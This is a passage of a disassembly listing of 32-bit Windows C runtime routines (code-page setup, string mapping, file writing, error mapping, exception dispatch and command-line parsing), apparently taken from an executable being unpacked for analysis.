loc_41E599: ; CODE XREF: sub_41E409+ADj
; sub_41E409+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41E5AB: ; CODE XREF: sub_41E409+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_417830
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41E5DF
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_41E5DF: ; CODE XREF: sub_41E409+1C2j
cmp ebx, edi
jz short loc_41E597
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4231C8 ; LCMapStringW
test eax, eax
jz short loc_41E597
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_41E606
push edi
push edi
jmp short loc_41E60C
; ---------------------------------------------------------------------------
loc_41E606: ; CODE XREF: sub_41E409+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_41E60C: ; CODE XREF: sub_41E409+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call dword_423150 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_41E597
loc_41E626: ; CODE XREF: sub_41E409+165j
; sub_41E409+188j
mov eax, esi
jmp loc_41E599
sub_41E409 endp
; =============== S U B R O U T I N E =======================================
sub_41E62D proc near ; CODE XREF: sub_41E409+81p
; sub_421F1A+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_41E64A
loc_41E63D: ; CODE XREF: sub_41E62D+1Bj
cmp byte ptr [eax], 0
jz short loc_41E64A
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_41E63D
loc_41E64A: ; CODE XREF: sub_41E62D+Ej
; sub_41E62D+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_41E655
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_41E655: ; CODE XREF: sub_41E62D+21j
mov eax, edx
retn
sub_41E62D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E658 proc near ; CODE XREF: sub_41EA1C+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41E7F1 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, dword_48A8E4
mov [ebp+arg_0], esi
jz loc_41E7E5
xor ebx, ebx
cmp esi, ebx
jz loc_41E7DB
xor edx, edx
mov eax, offset dword_43AE20
loc_41E68C: ; CODE XREF: sub_41E658+41j
cmp [eax], esi
jz short loc_41E702
add eax, 30h
inc edx
cmp eax, offset dword_43AF10
jl short loc_41E68C
lea eax, [ebp+var_18]
push eax
push esi
call dword_4231CC ; GetCPInfo
cmp eax, 1
jnz loc_41E7D3
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_48AA00
cmp [ebp+var_18], 1
mov dword_48A8E4, esi
rep stosd
stosb
mov dword_48AB04, ebx
jbe loc_41E7C1
cmp [ebp+var_12], 0
jz loc_41E797
lea ecx, [ebp+var_11]
loc_41E6DF: ; CODE XREF: sub_41E658+139j
mov dl, [ecx]
test dl, dl
jz loc_41E797
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41E6F0: ; CODE XREF: sub_41E658+A8j
cmp eax, edx
ja loc_41E78B
or byte_48AA01[eax], 4
inc eax
jmp short loc_41E6F0
; ---------------------------------------------------------------------------
loc_41E702: ; CODE XREF: sub_41E658+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_48AA00
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43AE30[esi]
loc_41E71E: ; CODE XREF: sub_41E658+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41E751
loc_41E725: ; CODE XREF: sub_41E658+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41E751
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41E74A
mov edx, [ebp+var_4]
mov dl, byte_43AE18[edx]
loc_41E73F: ; CODE XREF: sub_41E658+F0j
or byte_48AA01[eax], dl
inc eax
cmp eax, edi
jbe short loc_41E73F
loc_41E74A: ; CODE XREF: sub_41E658+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41E725
loc_41E751: ; CODE XREF: sub_41E658+CBj
; sub_41E658+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41E71E
mov eax, [ebp+arg_0]
mov dword_48A8FC, 1
push eax
mov dword_48A8E4, eax
call sub_41E83B
lea esi, dword_43AE24[esi]
mov edi, offset dword_48A8F0
movsd
movsd
pop ecx
mov dword_48AB04, eax
movsd
jmp short loc_41E7E0
; ---------------------------------------------------------------------------
loc_41E78B: ; CODE XREF: sub_41E658+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41E6DF
loc_41E797: ; CODE XREF: sub_41E658+7Ej
; sub_41E658+8Bj
push 1
pop eax
loc_41E79A: ; CODE XREF: sub_41E658+14Fj
or byte_48AA01[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41E79A
push esi
call sub_41E83B
pop ecx
mov dword_48AB04, eax
mov dword_48A8FC, 1
jmp short loc_41E7C7
; ---------------------------------------------------------------------------
loc_41E7C1: ; CODE XREF: sub_41E658+74j
mov dword_48A8FC, ebx
loc_41E7C7: ; CODE XREF: sub_41E658+167j
xor eax, eax
mov edi, offset dword_48A8F0
stosd
stosd
stosd
jmp short loc_41E7E0
; ---------------------------------------------------------------------------
loc_41E7D3: ; CODE XREF: sub_41E658+51j
cmp dword_48955C, ebx
jz short loc_41E7E9
loc_41E7DB: ; CODE XREF: sub_41E658+27j
call sub_41E86E
loc_41E7E0: ; CODE XREF: sub_41E658+131j
; sub_41E658+179j
call sub_41E897
loc_41E7E5: ; CODE XREF: sub_41E658+1Dj
xor eax, eax
jmp short loc_41E7EC
; ---------------------------------------------------------------------------
loc_41E7E9: ; CODE XREF: sub_41E658+181j
or eax, 0FFFFFFFFh
loc_41E7EC: ; CODE XREF: sub_41E658+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41E658 endp
; =============== S U B R O U T I N E =======================================
sub_41E7F1 proc near ; CODE XREF: sub_41E658+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_48955C, 0
cmp eax, 0FFFFFFFEh
jnz short loc_41E811
mov dword_48955C, 1
jmp dword_423050
; ---------------------------------------------------------------------------
loc_41E811: ; CODE XREF: sub_41E7F1+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_41E826
mov dword_48955C, 1
jmp dword_4231D0
; ---------------------------------------------------------------------------
loc_41E826: ; CODE XREF: sub_41E7F1+23j
cmp eax, 0FFFFFFFCh
jnz short locret_41E83A
mov eax, dword_489550
mov dword_48955C, 1
locret_41E83A: ; CODE XREF: sub_41E7F1+38j
retn
sub_41E7F1 endp
; =============== S U B R O U T I N E =======================================
sub_41E83B proc near ; CODE XREF: sub_41E658+118p
; sub_41E658+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41E868
sub eax, 4
jz short loc_41E862
sub eax, 0Dh
jz short loc_41E85C
dec eax
jz short loc_41E856
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E856: ; CODE XREF: sub_41E83B+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41E85C: ; CODE XREF: sub_41E83B+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_41E862: ; CODE XREF: sub_41E83B+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41E868: ; CODE XREF: sub_41E83B+9j
mov eax, 411h
retn
sub_41E83B endp
; =============== S U B R O U T I N E =======================================
sub_41E86E proc near ; CODE XREF: sub_41E658:loc_41E7DBp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_48AA00
rep stosd
stosb
xor eax, eax
mov edi, offset dword_48A8F0
mov dword_48A8E4, eax
mov dword_48A8FC, eax
mov dword_48AB04, eax
stosd
stosd
stosd
pop edi
retn
sub_41E86E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E897 proc near ; CODE XREF: sub_41E658:loc_41E7E0p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_48A8E4
call dword_4231CC ; GetCPInfo
cmp eax, 1
jnz loc_41E9D0
xor eax, eax
mov esi, 100h
loc_41E8C1: ; CODE XREF: sub_41E897+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_41E8C1
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_41E912
push ebx
push edi
lea edx, [ebp+var_D]
loc_41E8E0: ; CODE XREF: sub_41E897+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_41E907
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_41E907: ; CODE XREF: sub_41E897+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_41E8E0
pop edi
pop ebx
loc_41E912: ; CODE XREF: sub_41E897+42j
push 0
lea eax, [ebp+var_514]
push dword_48AB04
push dword_48A8E4
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_41F88F
push 0
lea eax, [ebp+var_214]
push dword_48A8E4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_48AB04
call sub_41E409
push 0
lea eax, [ebp+var_314]
push dword_48A8E4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_48AB04
call sub_41E409
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_41E98D: ; CODE XREF: sub_41E897+135j
mov dx, [ecx]
test dl, 1
jz short loc_41E9AB
or byte_48AA01[eax], 10h
mov dl, [ebp+eax+var_214]
loc_41E9A3: ; CODE XREF: sub_41E897+127j
mov byte_48A900[eax], dl
jmp short loc_41E9C7
; ---------------------------------------------------------------------------
loc_41E9AB: ; CODE XREF: sub_41E897+FCj
test dl, 2
jz short loc_41E9C0
or byte_48AA01[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_41E9A3
; ---------------------------------------------------------------------------
loc_41E9C0: ; CODE XREF: sub_41E897+117j
and byte_48A900[eax], 0
loc_41E9C7: ; CODE XREF: sub_41E897+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_41E98D
jmp short loc_41EA19
; ---------------------------------------------------------------------------
loc_41E9D0: ; CODE XREF: sub_41E897+1Dj
xor eax, eax
mov esi, 100h
loc_41E9D7: ; CODE XREF: sub_41E897+180j
cmp eax, 41h
jb short loc_41E9F5
cmp eax, 5Ah
ja short loc_41E9F5
or byte_48AA01[eax], 10h
mov cl, al
add cl, 20h
loc_41E9ED: ; CODE XREF: sub_41E897+174j
mov byte_48A900[eax], cl
jmp short loc_41EA14
; ---------------------------------------------------------------------------
loc_41E9F5: ; CODE XREF: sub_41E897+143j
; sub_41E897+148j
cmp eax, 61h
jb short loc_41EA0D
cmp eax, 7Ah
ja short loc_41EA0D
or byte_48AA01[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_41E9ED
; ---------------------------------------------------------------------------
loc_41EA0D: ; CODE XREF: sub_41E897+161j
; sub_41E897+166j
and byte_48A900[eax], 0
loc_41EA14: ; CODE XREF: sub_41E897+15Cj
inc eax
cmp eax, esi
jb short loc_41E9D7
loc_41EA19: ; CODE XREF: sub_41E897+137j
pop esi
leave
retn
sub_41E897 endp
; =============== S U B R O U T I N E =======================================
sub_41EA1C proc near ; CODE XREF: sub_41EE5A+9p
; sub_41EEB2+Dp ...
cmp dword_48AB34, 0
jnz short locret_41EA37
push 0FFFFFFFDh
call sub_41E658
pop ecx
mov dword_48AB34, 1
locret_41EA37: ; CODE XREF: sub_41EA1C+7j
retn
sub_41EA1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA38 proc near ; CODE XREF: sub_418FB8+2Bp
; sub_418FB8+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_48A8FC, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_41EA5C
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_418910
add esp, 0Ch
jmp short loc_41EABF
; ---------------------------------------------------------------------------
loc_41EA5C: ; CODE XREF: sub_41EA38+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_41EAA1
mov ecx, [ebp+arg_4]
loc_41EA67: ; CODE XREF: sub_41EA38+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_48AA01[esi], 4
mov [edi], al
jz short loc_41EA8B
inc edi
inc ecx
test edx, edx
jz short loc_41EA97
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_41EA9D
jmp short loc_41EA91
; ---------------------------------------------------------------------------
loc_41EA8B: ; CODE XREF: sub_41EA38+3Ej
inc edi
inc ecx
test al, al
jz short loc_41EAA1
loc_41EA91: ; CODE XREF: sub_41EA38+51j
test edx, edx
jnz short loc_41EA67
jmp short loc_41EAA1
; ---------------------------------------------------------------------------
loc_41EA97: ; CODE XREF: sub_41EA38+44j
and byte ptr [edi-1], 0
jmp short loc_41EAA1
; ---------------------------------------------------------------------------
loc_41EA9D: ; CODE XREF: sub_41EA38+4Fj
and byte ptr [edi-2], 0
loc_41EAA1: ; CODE XREF: sub_41EA38+2Aj
; sub_41EA38+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_41EABC
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_41EABC: ; CODE XREF: sub_41EA38+6Fj
mov eax, [ebp+arg_0]
loc_41EABF: ; CODE XREF: sub_41EA38+22j
pop edi
pop ebp
retn
sub_41EA38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EAC2 proc near ; CODE XREF: sub_4193EF+A2p
; sub_419A23+95p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_48A8E0
push esi
push edi
jnb loc_41EC56
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:48A7E0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_41EC56
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_41EB13
loc_41EB0C: ; CODE XREF: sub_41EAC2+177j
xor eax, eax
jmp loc_41EC6A
; ---------------------------------------------------------------------------
loc_41EB13: ; CODE XREF: sub_41EAC2+48j
test al, 20h
jz short loc_41EB23
push 2
push edi
push ecx
call sub_41E217
add esp, 0Ch
loc_41EB23: ; CODE XREF: sub_41EAC2+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_41EBF2
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_41EC2A
loc_41EB43: ; CODE XREF: sub_41EAC2+F5j
lea eax, [ebp+var_414]
loc_41EB49: ; CODE XREF: sub_41EAC2+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41EB7D
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_41EB68
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_41EB68: ; CODE XREF: sub_41EAC2+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_41EB49
loc_41EB7D: ; CODE XREF: sub_41EAC2+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_42307C ; WriteFile
test eax, eax
jz short loc_41EBE7
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_41EBB9
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_41EB43
loc_41EBB9: ; CODE XREF: sub_41EAC2+EAj
; sub_41EAC2+12Ej
xor edi, edi
loc_41EBBB: ; CODE XREF: sub_41EAC2+150j
; sub_41EAC2+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41EC51
cmp [ebp+arg_0], edi
jz short loc_41EC2A
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_41EC1F
mov dword_4894AC, 9
mov dword_4894B0, eax
jmp loc_41EC67
; ---------------------------------------------------------------------------
loc_41EBE7: ; CODE XREF: sub_41EAC2+E0j
call dword_42308C ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_41EBB9
; ---------------------------------------------------------------------------
loc_41EBF2: ; CODE XREF: sub_41EAC2+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call dword_42307C ; WriteFile
test eax, eax
jz short loc_41EC14
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_41EBBB
; ---------------------------------------------------------------------------
loc_41EC14: ; CODE XREF: sub_41EAC2+145j
call dword_42308C ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_41EBBB
; ---------------------------------------------------------------------------
loc_41EC1F: ; CODE XREF: sub_41EAC2+10Fj
push [ebp+arg_0]
call sub_41EC6F
pop ecx
jmp short loc_41EC67
; ---------------------------------------------------------------------------
loc_41EC2A: ; CODE XREF: sub_41EAC2+7Bj
; sub_41EAC2+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_41EC3F
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_41EB0C
loc_41EC3F: ; CODE XREF: sub_41EAC2+16Fj
mov dword_4894AC, 1Ch
mov dword_4894B0, edi
jmp short loc_41EC67
; ---------------------------------------------------------------------------
loc_41EC51: ; CODE XREF: sub_41EAC2+FEj
sub eax, [ebp+var_10]
jmp short loc_41EC6A
; ---------------------------------------------------------------------------
loc_41EC56: ; CODE XREF: sub_41EAC2+15j
; sub_41EAC2+37j
and dword_4894B0, 0
mov dword_4894AC, 9
loc_41EC67: ; CODE XREF: sub_41EAC2+120j
; sub_41EAC2+166j ...
or eax, 0FFFFFFFFh
loc_41EC6A: ; CODE XREF: sub_41EAC2+4Cj
; sub_41EAC2+192j
pop edi
pop esi
pop ebx
leave
retn
sub_41EAC2 endp
; =============== S U B R O U T I N E =======================================
sub_41EC6F proc near ; CODE XREF: sub_4194F9+16p
; sub_4198BA+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4894B0, ecx
mov eax, offset dword_43AF10
loc_41EC80: ; CODE XREF: sub_41EC6F+1Ej
cmp ecx, [eax]
jz short loc_41ECA4
add eax, 8
inc edx
cmp eax, offset dword_43B078
jl short loc_41EC80
cmp ecx, 13h
jb short loc_41ECB1
cmp ecx, 24h
ja short loc_41ECB1
mov dword_4894AC, 0Dh
retn
; ---------------------------------------------------------------------------
loc_41ECA4: ; CODE XREF: sub_41EC6F+13j
mov eax, dword_43AF14[edx*8]
mov dword_4894AC, eax
retn
; ---------------------------------------------------------------------------
loc_41ECB1: ; CODE XREF: sub_41EC6F+23j
; sub_41EC6F+28j
cmp ecx, 0BCh
jb short loc_41ECCB
cmp ecx, 0CAh
mov dword_4894AC, 8
jbe short locret_41ECD5
loc_41ECCB: ; CODE XREF: sub_41EC6F+48j
mov dword_4894AC, 16h
locret_41ECD5: ; CODE XREF: sub_41EC6F+5Aj
retn
sub_41EC6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ECD6 proc near ; CODE XREF: sub_4198E4+E3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_41EE17
test eax, eax
pop ecx
jz loc_41EE0B
mov ebx, [eax+8]
test ebx, ebx
jz loc_41EE0B
cmp ebx, 5
jnz short loc_41ED07
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_41EE14
; ---------------------------------------------------------------------------
loc_41ED07: ; CODE XREF: sub_41ECD6+23j
cmp ebx, 1
jz loc_41EE06
mov ecx, dword_489560
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov dword_489560, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_41EDF6
mov ecx, dword_43B0F0
mov edx, dword_43B0F4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_41ED56
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43B080h[esi*4]
loc_41ED4D: ; CODE XREF: sub_41ECD6+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_41ED4D
loc_41ED56: ; CODE XREF: sub_41ECD6+69j
mov eax, [eax]
mov esi, dword_43B0FC
cmp eax, 0C000008Eh
jnz short loc_41ED71
mov dword_43B0FC, 83h
jmp short loc_41EDE1
; ---------------------------------------------------------------------------
loc_41ED71: ; CODE XREF: sub_41ECD6+8Dj
cmp eax, 0C0000090h
jnz short loc_41ED84
mov dword_43B0FC, 81h
jmp short loc_41EDE1
; ---------------------------------------------------------------------------
loc_41ED84: ; CODE XREF: sub_41ECD6+A0j
cmp eax, 0C0000091h
jnz short loc_41ED97
mov dword_43B0FC, 84h
jmp short loc_41EDE1
; ---------------------------------------------------------------------------
loc_41ED97: ; CODE XREF: sub_41ECD6+B3j
cmp eax, 0C0000093h
jnz short loc_41EDAA
mov dword_43B0FC, 85h
jmp short loc_41EDE1
; ---------------------------------------------------------------------------
loc_41EDAA: ; CODE XREF: sub_41ECD6+C6j
cmp eax, 0C000008Dh
jnz short loc_41EDBD
mov dword_43B0FC, 82h
jmp short loc_41EDE1
; ---------------------------------------------------------------------------
loc_41EDBD: ; CODE XREF: sub_41ECD6+D9j
cmp eax, 0C000008Fh
jnz short loc_41EDD0
mov dword_43B0FC, 86h
jmp short loc_41EDE1
; ---------------------------------------------------------------------------
loc_41EDD0: ; CODE XREF: sub_41ECD6+ECj
cmp eax, 0C0000092h
jnz short loc_41EDE1
mov dword_43B0FC, 8Ah
loc_41EDE1: ; CODE XREF: sub_41ECD6+99j
; sub_41ECD6+ACj ...
push dword_43B0FC
push 8
call ebx
pop ecx
mov dword_43B0FC, esi
pop ecx
pop esi
jmp short loc_41EDFE
; ---------------------------------------------------------------------------
loc_41EDF6: ; CODE XREF: sub_41ECD6+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_41EDFE: ; CODE XREF: sub_41ECD6+11Ej
mov eax, [ebp+arg_0]
mov dword_489560, eax
loc_41EE06: ; CODE XREF: sub_41ECD6+34j
or eax, 0FFFFFFFFh
jmp short loc_41EE14
; ---------------------------------------------------------------------------
loc_41EE0B: ; CODE XREF: sub_41ECD6+Fj
; sub_41ECD6+1Aj
push [ebp+arg_4]
call dword_42304C ; UnhandledExceptionFilter
loc_41EE14: ; CODE XREF: sub_41ECD6+2Cj
; sub_41ECD6+133j
pop ebx
pop ebp
retn
sub_41ECD6 endp
; =============== S U B R O U T I N E =======================================
sub_41EE17 proc near ; CODE XREF: sub_41ECD6+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43B0F8
cmp dword_43B078, edx
push esi
mov eax, offset dword_43B078
jz short loc_41EE44
lea esi, [ecx+ecx*2]
lea esi, ds:43B078h[esi*4]
loc_41EE39: ; CODE XREF: sub_41EE17+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_41EE44
cmp [eax], edx
jnz short loc_41EE39
loc_41EE44: ; CODE XREF: sub_41EE17+16j
; sub_41EE17+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43B078h[ecx*4]
cmp eax, ecx
jnb short loc_41EE57
cmp [eax], edx
jz short locret_41EE59
loc_41EE57: ; CODE XREF: sub_41EE17+3Aj
xor eax, eax
locret_41EE59: ; CODE XREF: sub_41EE17+3Ej
retn
sub_41EE17 endp
; =============== S U B R O U T I N E =======================================
sub_41EE5A proc near ; CODE XREF: sub_4198E4+A5p
cmp dword_48AB34, 0
jnz short loc_41EE68
call sub_41EA1C
loc_41EE68: ; CODE XREF: sub_41EE5A+7j
push esi
mov esi, dword_48AB2C
mov al, [esi]
cmp al, 22h
jnz short loc_41EE9A
loc_41EE75: ; CODE XREF: sub_41EE5A+33j
; sub_41EE5A+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_41EE92
test al, al
jz short loc_41EE92
movzx eax, al
push eax
call sub_420D4D
test eax, eax
pop ecx
jz short loc_41EE75
inc esi
jmp short loc_41EE75
; ---------------------------------------------------------------------------
loc_41EE92: ; CODE XREF: sub_41EE5A+21j
; sub_41EE5A+25j
cmp byte ptr [esi], 22h
jnz short loc_41EEA4
loc_41EE97: ; CODE XREF: sub_41EE5A+52j
inc esi
jmp short loc_41EEA4
; ---------------------------------------------------------------------------
loc_41EE9A: ; CODE XREF: sub_41EE5A+19j
cmp al, 20h
jbe short loc_41EEA4
loc_41EE9E: ; CODE XREF: sub_41EE5A+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_41EE9E
loc_41EEA4: ; CODE XREF: sub_41EE5A+3Bj
; sub_41EE5A+3Ej ...
mov al, [esi]
test al, al
jz short loc_41EEAE
cmp al, 20h
jbe short loc_41EE97
loc_41EEAE: ; CODE XREF: sub_41EE5A+4Ej
mov eax, esi
pop esi
retn
sub_41EE5A endp
; =============== S U B R O U T I N E =======================================
sub_41EEB2 proc near ; CODE XREF: sub_4198E4+8Ep
push ebx
xor ebx, ebx
cmp dword_48AB34, ebx
push esi
push edi
jnz short loc_41EEC4
call sub_41EA1C
loc_41EEC4: ; CODE XREF: sub_41EEB2+Bj
mov esi, dword_4894F8
xor edi, edi
loc_41EECC: ; CODE XREF: sub_41EEB2+30j
mov al, [esi]
cmp al, bl
jz short loc_41EEE4
cmp al, 3Dh
jz short loc_41EED7
inc edi
loc_41EED7: ; CODE XREF: sub_41EEB2+22j
push esi
call sub_4177B0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_41EECC
; ---------------------------------------------------------------------------
loc_41EEE4: ; CODE XREF: sub_41EEB2+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_417889
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4894D4, esi
jnz short loc_41EF06
push 9
call sub_4199DA
pop ecx
loc_41EF06: ; CODE XREF: sub_41EEB2+4Aj
mov edi, dword_4894F8
cmp [edi], bl
jz short loc_41EF49
push ebp
loc_41EF11: ; CODE XREF: sub_41EEB2+94j
push edi
call sub_4177B0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_41EF42
push ebp
call sub_417889
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_41EF35
push 9
call sub_4199DA
pop ecx
loc_41EF35: ; CODE XREF: sub_41EEB2+79j
push edi
push dword ptr [esi]
call sub_4176C0
pop ecx
add esi, 4
pop ecx
loc_41EF42: ; CODE XREF: sub_41EEB2+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_41EF11
pop ebp
loc_41EF49: ; CODE XREF: sub_41EEB2+5Cj
push dword_4894F8
call sub_41793B
pop ecx
mov dword_4894F8, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_48AB30, 1
pop ebx
retn
sub_41EEB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF6B proc near ; CODE XREF: sub_4198E4+89p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_48AB34, ebx
push esi
push edi
jnz short loc_41EF82
call sub_41EA1C
loc_41EF82: ; CODE XREF: sub_41EF6B+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call dword_423094 ; GetModuleFileNameA
mov eax, dword_48AB2C
mov off_4894E4, esi
mov edi, esi
cmp [eax], bl
jz short loc_41EFA7
mov edi, eax
loc_41EFA7: ; CODE XREF: sub_41EF6B+38j
lea eax, [ebp+var_8]
push eax
